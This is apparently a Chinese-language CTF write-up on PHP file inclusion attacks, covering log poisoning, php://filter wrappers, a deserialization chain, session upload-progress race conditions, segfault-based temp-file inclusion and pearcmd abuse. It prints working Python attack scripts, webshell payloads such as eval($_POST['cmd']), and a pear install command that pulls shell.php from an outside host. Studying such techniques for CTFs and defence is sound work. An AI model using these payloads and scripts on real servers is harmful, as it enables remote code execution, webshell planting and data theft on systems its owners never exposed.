include

分析PHP中的文件包含

日志包含漏洞

日志包含漏洞属于是本地文件包含,同样服务器没有很好的过滤,或者是服务器配置不当导致用户进入了内网,本来常规用户是访问不了这些文件的,但由于发起访问请求的人是服务器本身,也就导致用户任意文件读取。

下面是常用的日志路径

apache服务器日志存放文件位置:/var/log/apache/access.log

nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log

apache的服务器日志会写入url,nginx的服务器日志会写入user-agent

示例:

1
2
3
4
5
6
7
8
9
10
11
12
//[HNCTF 2022 WEEK2]easy_include
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
?>

过滤了很多东西,但是这个nginx服务器可以进入/var/log/nginx/access.log读日志

写入一句话木马

User-Agent = <?php @eval(_$GET['a'])?>

蚁剑连接得到flag

伪协议包含

[php知识点]PHP伪协议

例题

1
2
3
4
5
6
7
8
9
10
11
12
//[MoeCTF 2022]baby_file
<html>
<title>Here's a secret. Can you find it?</title>
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
</html>

payload:?file=php://filter/convert.base64-encode/resource=flag.php

伪协议的包含可以输出,所以还可以用在一些其它的地方

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//[GDOUCTF 2023]反方向的钟
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>

一道反序列化,链子:__wakeup->hahaha()->IPO()->echo new $_POST['a']($_POST['b']);

然后调用php的内置类SplFileObject来读取文件内容,但是读取之后没有输出,所以使用伪协议输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//payload
<?php
error_reporting(0);
class teacher{
public $name;
public $rank;
public function __construct(){
$this->name = 'ing';
$this->rank = 'department';
}
}

class classroom{
public $name;
public $leader;
public function __construct(){
$this->name = 'one class';
$this->leader = new teacher;
}
}

class school{
public $department;
public $headmaster;
public function __construct(){
$this->department = new classroom;
$this->headmaster = 'ong';
}
}
$a = new school();
echo base64_encode(serialize($a));
?>

最终payload:

get:d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=

post:a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

Filterchain

FilterChain攻击解析及利用 | Boogiepop Doesn’t Laugh (boogipop.com)

上面的大佬讲的很清楚,我就是一个搬运工。

session-文件包含

如果有

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>

进行一个session的文件包含,脚本是抄的(懒得上班了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#直接写入
import io
import requests
import threading

sessid = 'Lazy'

def POST(session):
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://ip/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

with requests.session() as session:
while True:
POST(session)
print("[+] 成功写入sess_Lazy")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#条件竞争
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait

target = ''
session = requests.session()
flag = 'helloworld'


def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}

while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID': flag},
)


def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{target}?file=/tmp/sess_{flag}',
)

if flag.encode() in response.content:
e.set()


if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))

for i in range(5):
futures.append(pool.submit(write, event))

wait(futures)

理解一下吧。最核心的原理就是session的文件的包含

php.ini如下

session.upload_progress.enabled = On
session.upload_progress.cleanup = On
session.upload_progress.prefix = “upload_progress_”
session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”

在这个代理的情况下,可以使用session-文件包含

当开启session时,服务器都会在一个临时目录下创建一个session文件来保存会话信息,文件名格式为 sess_PHPSESSID ,一般存在下面的目录之中。

/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/

它的原理就是你上传文件的时候,会生成一个记录文件上传进度的session,我们通过控制他的内容,可以造成命令注入。

如果关闭了session.upload_progress.enable呢?

让PHP进程在请求结束前出现异常退出执行,那么临时文件就可以免于被删除了。

LFI via SegmentFault

1
include 'php://filter/string.strip_tags/resource=/etc/passwd';

本地文件包含漏洞可以让 php 包含自身从而导致死循环,然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string
import itertools

charset = string.digits + string.letters

host = "192.168.43.155"
port = 80
base_url = "http://%s:%d" % (host, port)


def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
except Exception as e:
print e


def generate_tmp_files():
webshell_content = '<?php eval($_REQUEST[c]);?>'.encode(
"base64").strip().encode("base64").strip().encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % (
webshell_content)
phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % (
base_url)
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file_to_include(phpinfo_url, file_content)


def main():
generate_tmp_files()


if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string

charset = string.digits + string.letters

host = "192.168.43.155"
port = 80
base_url = "http://%s:%d" % (host, port)


def brute_force_tmp_files():
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = "%s/include.php?f=/tmp/php%s" % (
base_url, filename)
print url
try:
response = requests.get(url)
if 'flag' in response.content:
print "[+] Include success!"
return True
except Exception as e:
print e
return False


def main():
brute_force_tmp_files()


if __name__ == "__main__":
main()

pearcmd

PEAR(PHP Extension and Application Repository)是一个官方的PHP扩展和应用程序存储库。它提供了一种标准的方式来共享和分发PHP代码和扩展,本质是个sh文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/bin/php" = '@'php_bin'@'; then
PHP=php
else
PHP="/usr/bin/php"
fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/share/php" = '@'php_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/share/php"
INCARG="-d include_path=/usr/share/php"
fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

而pearcmd.php的内容有

pear会在pearcmd.php获取命令行参数

1
2
3
4
5
6
7
8
9
PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}

而pear获取命令行参数的函数Consoles/Getopt.php->readPHPArgv()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

当执行了pear时,会将$_SERVER['argv']当作参数一起执行,从而自动拉取了指定的php文件。

所以pearcmd的利用

利用条件:

  • 安装了pear扩展
  • PHP开启了register_argc_argv选项

漏洞原理:

  • PHP的pear扩展是一个命令行扩展管理工具,默认安装路径为/usr/local/lib/php/pearcmd.php
  • 当存在文件包含漏洞时,攻击者可以通过构造恶意请求,将命令行参数传递给pearcmd.php文件。
  • pearcmd.php文件会获取命令行参数,并执行相应的操作。

利用步骤:

  1. 确保目标系统安装了pear扩展,并且PHP开启了register_argc_argv选项。
  2. 构造恶意请求,将命令行参数传递给pearcmd.php文件。
  3. 利用命令行参数执行任意命令或获取敏感信息。

利用:

  • 出网:攻击者可以构造一个命令,将恶意马文件下载到服务器上,例如:

    ?pear+install+-R+/tmp+http://xxxxxxx/shell.php

  • 不出网:来自p神博客,例如:

    ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php